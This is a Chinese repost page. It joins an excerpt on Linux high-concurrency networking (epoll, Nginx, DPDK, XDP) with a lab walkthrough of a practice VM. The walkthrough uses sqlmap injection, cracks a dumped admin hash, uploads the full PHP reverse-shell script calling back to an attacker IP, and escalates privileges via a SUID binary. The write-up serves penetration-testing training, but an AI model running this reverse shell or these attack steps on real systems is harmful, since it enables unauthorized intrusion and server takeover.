...ll 使用事件驱动的机制,只关注有 I/O 事件发生的文件描述符,不需要轮询扫描整个集合。 不过要注意,epoll 是在 Linux 2.6 中才新增的功能(2.4 虽然也有,但功能不完善)。由于边缘触发只在文件描述符可读或可写事件发生时才通知,那么应用程序就需要尽可能多地执行 I/O,并要处理更多的异常事件。 第三种,使用异步 I/O(Asynchronous I/O,简称为 AIO)。 在前面文件系统原理的内容中,我曾介绍过异步 I/O 与同步 I/O 的区别。异步 I/O 允许应用程序同时发起很多 I/O 操作,而不用等待这些操作完成。而在 I/O 完成后,系统会用事件通知(比如信号或者回调函数)的方式,告诉应用程序。这时,应用程序才会去查询 I/O 操作的结果。 异步 I/O 也是到了 Linux 2.6 才支持的功能,并且在很长时间里都处于不完善的状态,比如 glibc 提供的异步 I/O 库,就一直被社区诟病。同时,由于异步 I/O 跟我们的直观逻辑不太一样,想要使用的话,一定要小心设计,其使用难度比较高。 工作模型优化 了解了 I/O 模型后,请求处理的优化就比较直观了。 使用 I/O 多路复用后,就可以在一个进程或线程中处理多个请求,其中,又有下面两种不同的工作模型。 第一种,主进程 + 多个 worker 子进程,这也是最常用的一种模型。这种方法的一个通用工作模式就是:主进程执行 bind() + listen() 后,创建多个子进程;然后,在每个子进程中,都通过 accept() 或 epoll_wait() ,来处理相同的套接字。 比如,最常用的反向代理服务器 Nginx 就是这么工作的。它也是由主进程和多个 worker 进程组成。主进程主要用来初始化套接字,并管理子进程的生命周期;而 worker 进程,则负责实际的请求处理。我画了一张图来表示这个关系。 这里要注意,accept() 和 epoll_wait() 调用,还存在一个惊群的问题。换句话说,当网络 I/O 事件发生时,多个进程被同时唤醒,但实际上只有一个进程来响应这个事件,其他被唤醒的进程都会重新休眠。 其中,accept() 的惊群问题,已经在 Linux 2.6 中解决了; 而 epoll 的问题,到了 Linux 4.5 ,才通过 EPOLLEXCLUSIVE 解决。 为了避免惊群问题, Nginx 在每个 worker 进程中,都增加一个了全局锁(accept_mutex)。这些 worker 进程需要首先竞争到锁,只有竞争到锁的进程,才会加入到 epoll 中,这样就确保只有一个 worker 子进程被唤醒。 不过,根据前面 CPU 模块的学习,你应该还记得,进程的管理、调度、上下文切换的成本非常高。那为什么使用多进程模式的 Nginx ,却具有非常好的性能呢? 这里最主要的一个原因就是,这些 worker 进程,实际上并不需要经常创建和销毁,而是在没任务时休眠,有任务时唤醒。只有在 worker 由于某些异常退出时,主进程才需要创建新的进程来代替它。 当然,你也可以用线程代替进程:主线程负责套接字初始化和子线程状态的管理,而子线程则负责实际的请求处理。由于线程的调度和切换成本比较低,实际上你可以进一步把 epoll_wait() 都放到主线程中,保证每次事件都只唤醒主线程,而子线程只需要负责后续的请求处理。 第二种,监听到相同端口的多进程模型。在这种方式下,所有的进程都监听相同的接口,并且开启 SO_REUSEPORT 选项,由内核负责将请求负载均衡到这些监听进程中去。这一过程如下图所示。 由于内核确保了只有一个进程被唤醒,就不会出现惊群问题了。比如,Nginx 在 1.9.1 中就已经支持了这种模式。 不过要注意,想要使用 SO_REUSEPORT 选项,需要用 Linux 3.9 以上的版本才可以。 C1000K 基于 I/O 多路复用和请求处理的优化,C10K 问题很容易就可以解决。不过,随着摩尔定律带来的服务器性能提升,以及互联网的普及,你并不难想到,新兴服务会对性能提出更高的要求。 很快,原来的 C10K 已经不能满足需求,所以又有了 C100K 和 C1000K,也就是并发从原来的 1 万增加到 10 万、乃至 100 万。从 1 万到 10 万,其实还是基于 C10K 的这些理论,epoll 配合线程池,再加上 CPU、内存和网络接口的性能和容量提升。大部分情况下,C100K 很自然就可以达到。 那么,再进一步,C1000K 是不是也可以很容易就实现呢?这其实没有那么简单了。 首先从物理资源使用上来说,100 万个请求需要大量的系统资源。比如, 假设每个请求需要 16KB 内存的话,那么总共就需要大约 15 GB 内存。 而从带宽上来说,假设只有 20% 活跃连接,即使每个连接只需要 1KB/s 的吞吐量,总共也需要 1.6 Gb/s 的吞吐量。千兆网卡显然满足不了这么大的吞吐量,所以还需要配置万兆网卡,或者基于多网卡 Bonding 承载更大的吞吐量。 其次,从软件资源上来说,大量的连接也会占用大量的软件资源,比如文件描述符的数量、连接状态的跟踪(CONNTRACK)、网络协议栈的缓存大小(比如套接字读写缓存、TCP 读写缓存)等等。 最后,大量请求带来的中断处理,也会带来非常高的处理成本。这样,就需要多队列网卡、中断负载均衡、CPU 绑定、RPS/RFS(软中断负载均衡到多个 CPU 核上),以及将网络包的处理卸载(Offload)到网络设备(如 TSO/GSO、LRO/GRO、VXLAN OFFLOAD)等各种硬件和软件的优化。 C1000K 的解决方法,本质上还是构建在 epoll 的非阻塞 I/O 模型上。只不过,除了 I/O 模型之外,还需要从应用程序到 Linux 内核、再到 CPU、内存和网络等各个层次的深度优化,特别是需要借助硬件,来卸载那些原来通过软件处理的大量功能。 C10M 显然,人们对于性能的要求是无止境的。再进一步,有没有可能在单机中,同时处理 1000 万的请求呢?这也就是 C10M 问题。 实际上,在 C1000K 问题中,各种软件、硬件的优化很可能都已经做到头了。特别是当升级完硬件(比如足够多的内存、带宽足够大的网卡、更多的网络功能卸载等)后,你可能会发现,无论你怎么优化应用程序和内核中的各种网络参数,想实现 1000 万请求的并发,都是极其困难的。 究其根本,还是 Linux 内核协议栈做了太多太繁重的工作。从网卡中断带来的硬中断处理程序开始,到软中断中的各层网络协议处理,最后再到应用程序,这个路径实在是太长了,就会导致网络包的处理优化,到了一定程度后,就无法更进一步了。 要解决这个问题,最重要就是跳过内核协议栈的冗长路径,把网络包直接送到要处理的应用程序那里去。这里有两种常见的机制,DPDK 和 XDP。 第一种机制,DPDK,是用户态网络的标准。它跳过内核协议栈,直接由用户态进程通过轮询的方式,来处理网络接收。 说起轮询,你肯定会下意识认为它是低效的象征,但是进一步反问下自己,它的低效主要体现在哪里呢?是查询时间明显多于实际工作时间的情况下吧!那么,换个角度来想,如果每时每刻都有新的网络包需要处理,轮询的优势就很明显了。比如: 在 PPS 非常高的场景中,查询时间比实际工作时间少了很多,绝大部分时间都在处理网络包; 而跳过内核协议栈后,就省去了繁杂的硬中断、软中断再到 Linux 网络协议栈逐层处理的过程,应用程序可以针对应用的实际场景,有针对性地优化网络包的处理逻辑,而不需要关注所有的细节。 此外,DPDK 还通过大页、CPU 绑定、内存对齐、流水线并发等多种机制,优化网络包的处理效率。 第二种机制,XDP(eXpress Data Path),则是 Linux 内核提供的一种高性能网络数据路径。它允许网络包,在进入内核协议栈之前,就进行处理,也可以带来更高的性能。XDP 底层跟我们之前用到的 bcc-tools 一样,都是基于 Linux 内核的 eBPF 机制实现的。 XDP 的原理如下图所示: 你可以看到,XDP 对内核的要求比较高,需要的是 Linux 4.8 以上版本,并且它也不提供缓存队列。基于 XDP 的应用程序通常是专用的网络应用,常见的有 IDS(入侵检测系统)、DDoS 防御、 cilium 容器网络插件等。 总结 C10K 问题的根源,一方面在于系统有限的资源;另一方面,也是更重要的因素,是同步阻塞的 I/O 模型以及轮询的套接字接口,限制了网络事件的处理效率。Linux 2.6 中引入的 epoll ,完美解决了 C10K 的问题,现在的高性能网络方案都基于 epoll。 从 C10K 到 C100K ,可能只需要增加系统的物理资源就可以满足;但从 C100K 到 C1000K ,就不仅仅是增加物理资源就能解决的问题了。这时,就需要多方面的优化工作了,从硬件的中断处理和网络功能卸载、到网络协议栈的文件描述符数量、连接状态跟踪、缓存队列等内核的优化,再到应用程序的工作模型优化,都是考虑的重点。 再进一步,要实现 C10M ,就不只是增加物理资源,或者优化内核和应用程序可以解决的问题了。这时候,就需要用 XDP 的方式,在内核协议栈之前处理网络包;或者用 DPDK 直接跳过网络协议栈,在用户空间通过轮询的方式直接处理网络包。 当然了,实际上,在大多数场景中,我们并不需要单机并发 1000 万的请求。通过调整系统架构,把这些请求分发到多台服务器中来处理,通常是更简单和更容易扩展的方案。 本篇文章为转载内容。原文链接:https://blog.csdn.net/qq_23864697/article/details/114626793。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-04-11 18:25:52
260
转载
转载文章
...划:释放的价值与激励机制解读》)。 此外,对于技术人员而言,持续学习与技术积累显得尤为关键。近日,《中国程序员技术能力现状与发展趋势报告》指出,随着容器化、微服务架构的广泛应用,以及Docker、Kubernetes等技术的普及,对底层网络工作原理的理解和应用能力成为衡量开发人员技术水平的重要标准之一。 同时,团队协作与领导力培养也日益受到重视。据《哈佛商业评论》近期文章所述,在现代企业中,具有主动发现问题、解决问题意识,并能带领团队共同创新的技术管理者,往往能在组织内部获得更快的成长和更高的认可度。 综上所述,无论是在选择行业赛道还是在实际工作中,技术人才都应紧跟时代潮流,深化专业技能,积极主动地挖掘潜在问题并寻求解决方案,从而在快速变化的互联网行业中取得长足发展。而类似于张彦飞allen这样的经历分享,无疑为后来者提供了宝贵的经验借鉴和启示。
2023-02-06 11:38:24
232
转载
转载文章
...作系统自带的安全防护机制,旨在监控进出系统的网络流量,并根据预设规则决定是否允许数据包通过,从而防止未经授权的访问和恶意攻击。通过Firewall.cpl命令可快速打开Windows防火墙设置界面,用户在此可以自定义防火墙规则、开启或关闭特定端口、管理出站和入站连接等。
2023-02-01 13:38:26
91
转载
转载文章
...败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Nm2jCq05-1650016495541)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110170424128.png)] 成功登录后 尝试手工注入:x' or 1=1 成功返回所有信息,说明存在SQL注入 2.3漏洞利用 2.3.1 sqlmap 利用注入漏洞 使用 burp 抓查询数据包 POST /welcome.php HTTP/1.1Host: 192.168.184.149Content-Length: 23Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://192.168.184.149Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://192.168.184.149/welcome.phpAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=jub1jihglt85brngo5imqsifb3Connection: closesearch=x 将数据包保存为文件 hackme1.txt 使用 sqlmap 跑一下测试漏洞并获取数据库名: 🚀 python sqlmap.py -r hackme1.txt --dbs --batch [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DjhXfuV9-1650016495544)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110171527015.png)] 数据库除了基础数据库有webapphacking 接下来咱们获取一下表名 🚀 python sqlmap.py -r hackme1.txt --batch -D webapphacking --tables [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1mzxiwhu-1650016495544)(C:\Users\zhang\AppData\Roaming\Typora\typora-user-images\image-20220110172336353.png)] 可以得到两个表books和users 咱们先获取一下users表的信息 🚀 python sqlmap.py -r hackme1.txt --batch -D webapphacking -T users --dump --batch 可以看到有一个superadmin,超级管理员,看起来像一个md5 扩展 在线解密md5网站 国内MD5解密: http://t007.cn/ https://cmd5.la/ https://cmd5.com/ https://pmd5.com/ http://ttmd5.com/ https://md5.navisec.it/ http://md5.tellyou.top/ https://www.somd5.com/ http://www.chamd5.org/ 国外MD5解密: https://www.md5tr.com/ http://md5.my-addr.com/ https://md5.gromweb.com/ https://www.md5decrypt.org/ https://md5decrypt.net/en/ https://md5hashing.net/hash/md5/ https://hashes.com/en/decrypt/hash https://www.whatsmyip.org/hash-lookup/ https://www.md5online.org/md5-decrypt.html https://md5-passwort.de/md5-passwort-suchen 解出来密码是:Uncrackable 登录上去,发现有上传功能 2.3.2 文件上传漏洞 getshell 将 kali 自带的 php-reverse-shell.php 复制一份到 查看文件内容,并修改IP地址 <?php// php-reverse-shell - A Reverse Shell implementation in PHP// Copyright (C) 2007 pentestmonkey@pentestmonkey.net//// This tool may be used for legal purposes only. Users take full responsibility// for any actions performed using this tool. The author accepts no liability// for damage caused by this tool. If these terms are not acceptable to you, then// do not use this tool.//// In all other respects the GPL version 2 applies://// This program is free software; you can redistribute it and/or modify// it under the terms of the GNU General Public License version 2 as// published by the Free Software Foundation.//// This program is distributed in the hope that it will be useful,// but WITHOUT ANY WARRANTY; without even the implied warranty of// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the// GNU General Public License for more details.//// You should have received a copy of the GNU General Public License along// with this program; if not, write to the Free Software Foundation, Inc.,// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.//// This tool may be used for legal purposes only. Users take full responsibility// for any actions performed using this tool. If these terms are not acceptable to// you, then do not use this tool.//// You are encouraged to send comments, improvements or suggestions to// me at pentestmonkey@pentestmonkey.net//// Description// -----------// This script will make an outbound TCP connection to a hardcoded IP and port.// The recipient will be given a shell running as the current user (apache normally).//// Limitations// -----------// proc_open and stream_set_blocking require PHP version 4.3+, or 5+// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.//// Usage// -----// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.set_time_limit (0);$VERSION = "1.0";$ip = '192.168.184.128'; // CHANGE THIS$port = 6666; // CHANGE THIS$chunk_size = 1400;$write_a = null;$error_a = null;$shell = 'uname -a; w; id; /bin/sh -i';$daemon = 0;$debug = 0;//// Daemonise ourself if possible to avoid zombies later//// pcntl_fork is hardly ever available, but will allow us to daemonise// our php process and avoid zombies. Worth a try...if (function_exists('pcntl_fork')) {// Fork and have the parent process exit$pid = pcntl_fork();if ($pid == -1) {printit("ERROR: Can't fork");exit(1);}if ($pid) {exit(0); // Parent exits}// Make the current process a session leader// Will only succeed if we forkedif (posix_setsid() == -1) {printit("Error: Can't setsid()");exit(1);}$daemon = 1;} else {printit("WARNING: Failed to daemonise. This is quite common and not fatal.");}// Change to a safe directorychdir("/");// Remove any umask we inheritedumask(0);//// Do the reverse shell...//// Open reverse connection$sock = fsockopen($ip, $port, $errno, $errstr, 30);if (!$sock) {printit("$errstr ($errno)");exit(1);}// Spawn shell process$descriptorspec = array(0 => array("pipe", "r"), // stdin is a pipe that the child will read from1 => array("pipe", "w"), // stdout is a pipe that the child will write to2 => array("pipe", "w") // stderr is a pipe that the child will write to);$process = proc_open($shell, $descriptorspec, $pipes);if (!is_resource($process)) {printit("ERROR: Can't spawn shell");exit(1);}// Set everything to non-blocking// Reason: Occsionally reads will block, even though stream_select tells us they won'tstream_set_blocking($pipes[0], 0);stream_set_blocking($pipes[1], 0);stream_set_blocking($pipes[2], 0);stream_set_blocking($sock, 0);printit("Successfully opened reverse shell to $ip:$port");while (1) {// Check for end of TCP connectionif (feof($sock)) {printit("ERROR: Shell connection terminated");break;}// Check for end of STDOUTif (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;}// Wait until a command is end down $sock, or some// command output is available on STDOUT or STDERR$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);// If we can read from the TCP socket, send// data to process's STDINif (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ");$input = fread($sock, $chunk_size);if ($debug) printit("SOCK: $input");fwrite($pipes[0], $input);}// If we can read from the process's STDOUT// send data down tcp connectionif (in_array($pipes[1], $read_a)) {if ($debug) printit("STDOUT READ");$input = fread($pipes[1], $chunk_size);if ($debug) printit("STDOUT: $input");fwrite($sock, $input);}// If we can read from the process's STDERR// send data down tcp connectionif (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ");$input = fread($pipes[2], $chunk_size);if ($debug) printit("STDERR: $input");fwrite($sock, $input);} }fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);// Like print, but does nothing if we've daemonised ourself// (I can't figure out how to redirect STDOUT like a proper daemon)function printit ($string) {if (!$daemon) {print "$string\n";} }?> [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RhgS5l2a-1650016495549)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110173559344.png)] 上传该文件 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CKEldpll-1650016495549)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110173801442.png)] 在 kali 监听:nc -lvp 6666 访问后门文件:http://192.168.184.149/php-reverse-shell.php 不成功 尝试加上传文件夹:http://192.168.184.149/uploads/php-reverse-shell.php 成功访问 使用 python 切换为 bash:python3 -c 'import pty; pty.spawn("/bin/bash")' 2.4权限提升 2.4.1 SUID 提权 sudo -l不顶用了,换个方法 查询 suid 权限程序: find / -perm -u=s -type f 2>/dev/null www-data@hackme:/$ find / -perm -u=s -type f 2>/dev/nullfind / -perm -u=s -type f 2>/dev/null/snap/core20/1270/usr/bin/chfn/snap/core20/1270/usr/bin/chsh/snap/core20/1270/usr/bin/gpasswd/snap/core20/1270/usr/bin/mount/snap/core20/1270/usr/bin/newgrp/snap/core20/1270/usr/bin/passwd/snap/core20/1270/usr/bin/su/snap/core20/1270/usr/bin/sudo/snap/core20/1270/usr/bin/umount/snap/core20/1270/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core20/1270/usr/lib/openssh/ssh-keysign/snap/core/6531/bin/mount/snap/core/6531/bin/ping/snap/core/6531/bin/ping6/snap/core/6531/bin/su/snap/core/6531/bin/umount/snap/core/6531/usr/bin/chfn/snap/core/6531/usr/bin/chsh/snap/core/6531/usr/bin/gpasswd/snap/core/6531/usr/bin/newgrp/snap/core/6531/usr/bin/passwd/snap/core/6531/usr/bin/sudo/snap/core/6531/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/6531/usr/lib/openssh/ssh-keysign/snap/core/6531/usr/lib/snapd/snap-confine/snap/core/6531/usr/sbin/pppd/snap/core/5662/bin/mount/snap/core/5662/bin/ping/snap/core/5662/bin/ping6/snap/core/5662/bin/su/snap/core/5662/bin/umount/snap/core/5662/usr/bin/chfn/snap/core/5662/usr/bin/chsh/snap/core/5662/usr/bin/gpasswd/snap/core/5662/usr/bin/newgrp/snap/core/5662/usr/bin/passwd/snap/core/5662/usr/bin/sudo/snap/core/5662/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/5662/usr/lib/openssh/ssh-keysign/snap/core/5662/usr/lib/snapd/snap-confine/snap/core/5662/usr/sbin/pppd/snap/core/11993/bin/mount/snap/core/11993/bin/ping/snap/core/11993/bin/ping6/snap/core/11993/bin/su/snap/core/11993/bin/umount/snap/core/11993/usr/bin/chfn/snap/core/11993/usr/bin/chsh/snap/core/11993/usr/bin/gpasswd/snap/core/11993/usr/bin/newgrp/snap/core/11993/usr/bin/passwd/snap/core/11993/usr/bin/sudo/snap/core/11993/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/11993/usr/lib/openssh/ssh-keysign/snap/core/11993/usr/lib/snapd/snap-confine/snap/core/11993/usr/sbin/pppd/usr/lib/eject/dmcrypt-get-device/usr/lib/openssh/ssh-keysign/usr/lib/snapd/snap-confine/usr/lib/policykit-1/polkit-agent-helper-1/usr/lib/dbus-1.0/dbus-daemon-launch-helper/usr/bin/pkexec/usr/bin/traceroute6.iputils/usr/bin/passwd/usr/bin/chsh/usr/bin/chfn/usr/bin/gpasswd/usr/bin/at/usr/bin/newgrp/usr/bin/sudo/home/legacy/touchmenot/bin/mount/bin/umount/bin/ping/bin/ntfs-3g/bin/su/bin/fusermount 发现一个可疑文件/home/legacy/touchmenot 在 https://gtfobins.github.io/网站上查询:touchmenot 没找到 尝试运行程序:发现直接提权成功 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qcpXI6zZ-1650016495551)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110174530827.png)] 找半天没找到flag的文件 what?就这? 总结 本节使用的工具和漏洞比较基础,涉及 SQL 注入漏洞和文件上传漏洞 sql 注入工具:sqlmap 抓包工具:burpsuite Webshell 后门:kali 内置后门 Suid 提权:touchmenot 提权 本篇文章为转载内容。原文链接:https://blog.csdn.net/Perpetual_Blue/article/details/124200651。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-01-02 12:50:54
497
转载
站内搜索
用于搜索本网站内部文章,支持栏目切换。
知识学习
实践的时候请根据实际情况谨慎操作。
随机学习一条linux命令:
bg [job_number]
- 将停止的任务放到后台继续运行。
推荐内容
推荐本栏目内的其它文章,看看还有哪些文章让你感兴趣。
2023-04-28
2023-08-09
2023-06-18
2023-04-14
2023-02-18
2023-04-17
2024-01-11
2023-10-03
2023-09-09
2023-06-13
2023-08-07
2023-03-11
历史内容
快速导航到对应月份的历史文章列表。
随便看看
拉到页底了吧,随便看看还有哪些文章你可能感兴趣。
时光飞逝
"流光容易把人抛,红了樱桃,绿了芭蕉。"